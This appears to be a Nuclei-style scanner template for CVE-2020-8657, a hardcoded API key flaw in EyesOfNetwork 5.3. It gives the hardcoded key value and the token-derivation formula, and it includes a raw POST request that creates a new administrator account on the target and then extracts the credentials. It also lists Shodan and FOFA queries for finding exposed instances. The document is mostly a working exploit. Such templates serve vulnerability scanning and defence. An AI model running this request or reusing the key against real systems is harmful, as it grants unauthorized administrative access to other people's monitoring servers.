An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.
PoC
id: CVE-2020-8657
info:
name: EyesOfNetwork - Hardcoded API Key
author: daffainfo
severity: critical
description: |
An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.
impact: |
Successful exploitation allows an attacker to create administrative users and gain unauthorized access to the EyesOfNetwork management system.
remediation: |
Upgrade to a newer version of EyesOfNetwork or change the default hardcoded API key in the configuration.
reference:
- https://www.exploit-db.com/exploits/48025
- https://nvd.nist.gov/vuln/detail/CVE-2020-8657
classification:
cve-id: CVE-2020-8657
epss-score: 0.91874
epss-percentile: 0.99811
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-798
cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: eyesofnetwork
product: eyesofnetwork
shodan-query: html:"EyesOfNetwork"
fofa-query: title="EyesOfNetwork"
tags: cve,cve2020,eyesofnetwork,hardcoded-key,kev,vkev,vuln
variables:
key: "€On@piK3Y"
userid: "1"
username: "{{randstr}}"
password: "{{randstr}}"
http:
- raw:
- |
POST /eonapi/createEonUser?username=admin&apiKey={{ sha256(md5(key + userid) + Host) }} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"user_name":"{{username}}","user_group":"admins","user_password":"{{password}}"}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"api_version"'
- "200 OK"
- "A new user have been successfully inserted"
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
extractors:
- type: dsl
dsl:
- '"Username: " + username + ". Password: "+ password'
# digest: 490a00463044022026ad25e97f55ab11b7826c1162eff0550b9f9c26b9ef1dfc596e73f09b6bb20102202556413241bef50c39aa50f7c2af349926a36d7978f6d2f9f785795617b68cf3:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.